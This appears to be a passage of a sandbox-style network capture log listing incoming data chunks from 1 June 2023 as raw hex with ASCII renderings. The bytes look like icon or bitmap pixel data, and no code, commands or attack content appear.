2023-06-01 10:14:19 UTC	219	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ef f5 fa ff 83 b4 dc 9e 18 75 c0 ff 0a 6d be ff 0a 6f c2 ff 0a 70 c5 ff 0a 9e c8 ff 0a 73 cb ff 0a 74 ce ff 0a 76 d0 ff 0a 77 d3 ff 0b 78 d5 ff 0b 79 d6 ff 0b 7a d8 9e 0b 7a da ff 0b 7b dc ff 0b 7c dd ff 0b 7c dd ff 0b 7d de ff 0b 7d df ff 0b 7d df ff 9e 7e e0 ff 0b 7e e0 ff 0b 7e e0 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e e1 ff 0b 7e Data Ascii: umopstvwxyzz{\|\|}}}~~~~~~~~~~~~~
2023-06-01 10:14:19 UTC	226	IN	Data Raw: ff 0a 7f e1 ff 0a 7f e0 ff 0a 7f df ff 0a 7e de ff 0a 7c db ff 0a 7b d8 ff 0a 7a d6 ff 09 78 d1 ff 09 75 cd ff 09 73 c8 ff ef f6 fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d1 ea ff 55 9b Data Ascii: ~\|{zxusU
2023-06-01 10:14:19 UTC	234	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 9e 9e e3 ff 6a b6 f1 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 9e 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 e3 ff 0a 81 9e ff 9e 81 e3 ff 0a 80 e2 ff 0a 81 e2 ff 0a 80 e1 ff 0a 80 e1 ff 0a 80 e0 ff 0a 7f df 9e 0a 7e de ff 0a 7d dc ff 0a 7d da ff 0a 9e d8 ff 0a 7a d6 ff 09 7a d4 ff 09 78 d1 ff 09 77 Data Ascii: j~}}zzxw
2023-06-01 10:14:19 UTC	242	IN	Data Raw: ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 9e e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 9e e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 14 89 e5 ff be e6 fd ff cc ed ff ff 2c 96 e9 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 09 83 e4 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ,
2023-06-01 10:14:19 UTC	250	IN	Data Raw: ff 08 84 e5 ff 08 84 e5 ff 9e 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 9e 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 9e 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 9e ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 e5 ff 08 84 Data Ascii:
2023-06-01 10:14:19 UTC	258	IN	Data Raw: 9e 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 9e ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 9e 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 9e e6 ff 9e 85 e6 ff 08 85 e6 ff 08 85 e6 ff 9e 85 e6 ff 08 85 9e ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 9e ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 e6 ff 08 85 Data Ascii:
2023-06-01 10:14:19 UTC	265	IN	Data Raw: ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 9e e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 9e e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 e7 ff 07 87 Data Ascii:
2023-06-01 10:14:19 UTC	273	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 9e 00 00 00 00 00 00 00 00 06 88 e8 1f 06 88 e8 3f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 9e 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 9e 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 9e e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 9e 88 e8 7f 06 88 9e 7f 06 88 e8 7f 06 88 e8 7f 06 88 e8 7f 06 88 Data Ascii: ?
2023-06-01 10:14:19 UTC	281	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:19 UTC	289	IN	Data Raw: 00 00 00 00 00 00 00 ff ff ff fe 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 9e ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:19 UTC	297	IN	Data Raw: 66 a4 a4 a4 5f a4 a4 a4 5a a4 9e a4 53 a4 a4 a4 4b a4 a4 a4 42 a4 a4 a4 3a a4 a4 a4 31 a4 a4 a4 25 a4 a4 a4 18 a4 a4 a4 0c a4 a4 a4 04 a4 a4 a4 01 a4 a4 a4 02 a4 a4 a4 0b a4 a4 a4 1c a4 a4 a4 34 a4 a4 a4 4d a4 9e a4 63 a4 a4 a4 72 a4 a4 a4 7d a4 a4 a4 87 a4 a4 a4 90 a4 a4 a4 99 a4 a4 a4 9f a4 a4 a4 a5 a4 a4 a4 ad a4 a4 a4 b4 a4 a4 a4 ba a4 a4 a4 bc a4 a4 a4 bd a4 a4 a4 c0 a4 a4 a4 c6 a4 a4 a4 cc a4 a4 a4 d1 a4 a4 a4 d4 a4 a4 a4 d5 a4 a4 a4 d5 a4 a4 a4 d5 a4 a4 a4 d5 a4 a4 a4 d6 a4 9e a4 d8 a4 a4 a4 db a4 a4 a4 e0 a4 a4 a4 e4 a4 a4 a4 e6 a4 a4 a4 e7 a4 a4 a4 e7 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 9e a4 e8 a4 a4 a4 e8 a4 a4 a4 e8 a4 a4 a4 9e a4 a4 a4 ec a4 a4 a4 ef a4 a4 a4 f1 a4 a4 Data Ascii: f_ZSKB:1%4Mcr}
2023-06-01 10:14:19 UTC	304	IN	Data Raw: ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 9e 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 9e d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 9e ff 9e 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 97 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ccccccccccccccccccccccccccccccccccccccccccccccccccc
2023-06-01 10:14:19 UTC	312	IN	Data Raw: ff 15 69 d4 ff 15 69 d4 ff 15 69 d4 ff 15 69 d3 ff 9e 68 d2 ff 15 67 d1 ff 14 65 cc ff 14 63 c5 ff 13 5f bc ff 9b b9 df ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b0 c7 e2 ff 13 5a b1 ff 13 5e bb ff 14 62 c5 ff 14 65 cb ff 15 67 d0 ff 15 68 d2 ff 15 69 d3 ff 15 69 d3 ff 15 68 d2 ff 15 68 d1 ff 14 66 cd ff 14 63 c7 ff 13 60 be ff 30 6f bd ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e0 ea f4 ff 13 5a b0 ff 13 5e ba ff 14 63 c5 ff 14 65 cc ff 15 67 cf ff 15 67 d0 ff 14 66 Data Ascii: iiiihgec_Z^beghiihhfc`0oZ^ceggf
2023-06-01 10:14:19 UTC	320	IN	Data Raw: ff 11 66 c2 ff 12 69 cb ff 12 6c d1 ff 13 6d d4 ff 13 6f d6 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 9e 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f 9e ff 13 6f d7 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 9e 00 00 12 6f d7 7f 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 9e 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 13 6f 9e ff 13 6f d7 ff 13 6f d7 ff 13 6f d7 ff 9e 6f d6 ff 13 6e d5 ff 13 6e d5 ff 9e 6d d4 ff 13 6d d3 ff 13 6c d1 ff 12 6c Data Ascii: filmooooooooooooooooooooooooooooooooooooooonnmmll
2023-06-01 10:14:19 UTC	328	IN	Data Raw: ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff 8d b5 dc ff 0e 66 ba ff 0e 69 c1 ff 0f 6c c8 ff 0f 6f ce ff 0f 71 d2 ff 10 72 d5 ff 10 73 d7 ff 10 73 d7 ff 10 72 d5 ff 0f 71 d2 ff 0f 6e cd ff 0f 6b c6 ff 0e 68 be ff 2b 77 bf ff e8 f0 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff 4d 8c c7 ff 0e 67 bc ff 0f 6b c6 ff 0f 6f ce ff 0f 9e d3 ff 10 73 d7 ff 10 74 d9 ff 10 75 da ff 10 9e db ff 10 75 db ff 10 75 db ff 10 75 db ff 10 9e db ff 10 75 db ff 10 75 db ff 10 75 db ff 10 75 db ff 10 75 db ff 10 75 db 9e 10 9e db ff 10 75 db ff 10 75 db ff 10 75 db ff 10 75 db ff 10 75 Data Ascii: filoqrssrqnkh+wMgkostuuuuuuuuuuuuuuu
2023-06-01 10:14:19 UTC	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 7a de 7f 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a df ff 0d 7a de ff 0d 7a de ff 0d 7a dd ff 0d 7a dd ff 0d 79 dc ff 0d 79 dc ff 0d 79 dc ff 0d 79 dc ff 0d 79 db ff 0d 78 db ff 0d 78 db ff 0d 78 da ff 0d 78 d9 ff 0d 77 d8 ff 0d 76 d7 ff 0c 76 d5 ff 0c 75 d4 ff 0c 74 9e ff 0c 73 cf ff 0c 71 cc ff 0c 6f c8 ff 0c 6d c3 ff 0b 6b be ff 0b 69 b9 ff 38 83 c3 ff b2 ce e7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: zzzzzzzzzzzzzzzzzzzzzzzzzyyyyyxxxxwvvutsqomki8
2023-06-01 10:14:19 UTC	344	IN	Data Raw: ff 0a 9e e2 ff 9e 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 9e 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 9e 80 e2 ff 0a 80 e2 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 81 e2 7f 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 9e 0a 80 e2 ff 0a 80 e2 ff 0a 80 e2 ff 0a 80 Data Ascii:
2023-06-01 10:14:19 UTC	351	IN	Data Raw: ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 9e c6 f5 9e 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 9e ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 f5 ff 82 c6 Data Ascii:
2023-06-01 10:14:19 UTC	359	IN	Data Raw: ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 9e 00 00 00 00 9e 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:19 UTC	367	IN	Data Raw: ff 13 6f d7 ff 13 6f d7 ff 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 6f d7 3f 12 70 d8 ff 9e 70 d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 9e ff 12 70 d8 ff 12 70 d8 9e 12 70 d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 d7 ff 12 6f d7 ff 12 6f d6 ff 12 6f d6 ff 12 6f d6 ff 12 6f d5 ff 12 6e d4 ff 11 6c cf ff 11 68 c6 ff 1e 6b bc ff cb dc ed ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fc fd ff 3d 7f c4 ff 11 68 c6 ff 11 6d d1 ff 12 6d d4 9e 11 6a cc ff 1f 6d c0 ff f1 f6 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff 98 ba dd ff 10 65 bf ff 11 6c cf ff 12 6f d6 ff 12 70 d7 ff 12 70 d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 Data Ascii: ooo?pppppppppppppooooonlhk=hmmjmelopppppp
2023-06-01 10:14:19 UTC	375	IN	Data Raw: ff 74 bf f4 ff 96 d1 f8 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 9e ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a 9e f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 9a d3 f9 ff 92 cf f7 ff 67 b9 f2 ff 20 93 e9 ff 07 86 e6 ff 07 86 e6 ff 07 86 e6 e3 09 86 e6 1e 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 07 86 e6 39 07 87 e6 dd 07 87 e7 ff 07 87 Data Ascii: tg 9
2023-06-01 10:14:19 UTC	383	IN	Data Raw: 00 00 00 00 00 00 00 00 00 0c 7a de 2f 0d 7a de ff 0c 7a de fe 0c 7a de fe 0d 7a de ff 0c 7a de fe 0c 7a de fe 0d 7a de ff 0c 7a de fe 0d 9e dc ff 0c 78 da fe 0c 78 d9 fe 0c 77 d7 fe 0c 75 d5 ff 0c 73 d0 fe 9e 70 c9 fe 1e 77 c4 ff 7f b0 da fe ea f2 f8 fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff d2 e3 f2 fe 2b 80 cb fe 0c 74 d2 ff 0c 79 db fe 0d 7a de ff 0c 7a de fe 0c 7a de fe 0d 7a de ff 0c 7a de fe 0c 7a de fe 0d 7a de ff 0c 7a de fe 0c 7a de fe 0d 7a de ff 0c 7a de fe 0c 7a de fe 0d 7a de fe 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 7b df 2f 0c 7b df ff 0c 7b df ff 0c 7b df ff 0c 7b df ff 0c 7b df ff 0c 7b df ff 0c 7b de ff 0c 79 da ff 0c 75 d2 ff 0b 71 cb ff 0b 6f c6 ff 0b 6d c2 ff 9e 77 Data Ascii: z/zzzzzzzzxxwuspw+tyzzzzzzzzzzzzz{/{{{{{{{yuqomw
2023-06-01 10:14:19 UTC	390	IN	Data Raw: 70 a3 a3 a3 70 a4 a4 a4 70 a3 a3 a3 6c a4 a4 a4 5c a4 9e a4 5b a3 a3 a3 5a a4 a4 a4 4e a4 a4 a4 46 a3 a3 a3 39 a4 a4 a4 2b a4 a4 a4 1a a3 a3 a3 06 a4 a4 a4 27 a4 a4 a4 81 a3 a3 a4 a9 8b 97 ab 9e 7e 91 af ea 7e 91 af f0 7e 91 af f3 7e 91 ae f6 7e 91 ae f7 7e 91 ae f9 7e 91 ae f9 7e 91 ae f9 7e 91 ae f9 7e 91 ae f9 7e 91 ae f9 7e 91 ae f7 7e 91 ae f6 7e 9e af f3 7e 91 af f0 7e 91 af ea 8e 99 aa d4 a4 a4 a4 a8 a4 a4 a4 81 a3 a3 a3 27 00 00 00 00 77 9e b1 07 3b 71 c3 ad 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 9e fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 19 60 ce fe 41 74 c1 9b 78 8f 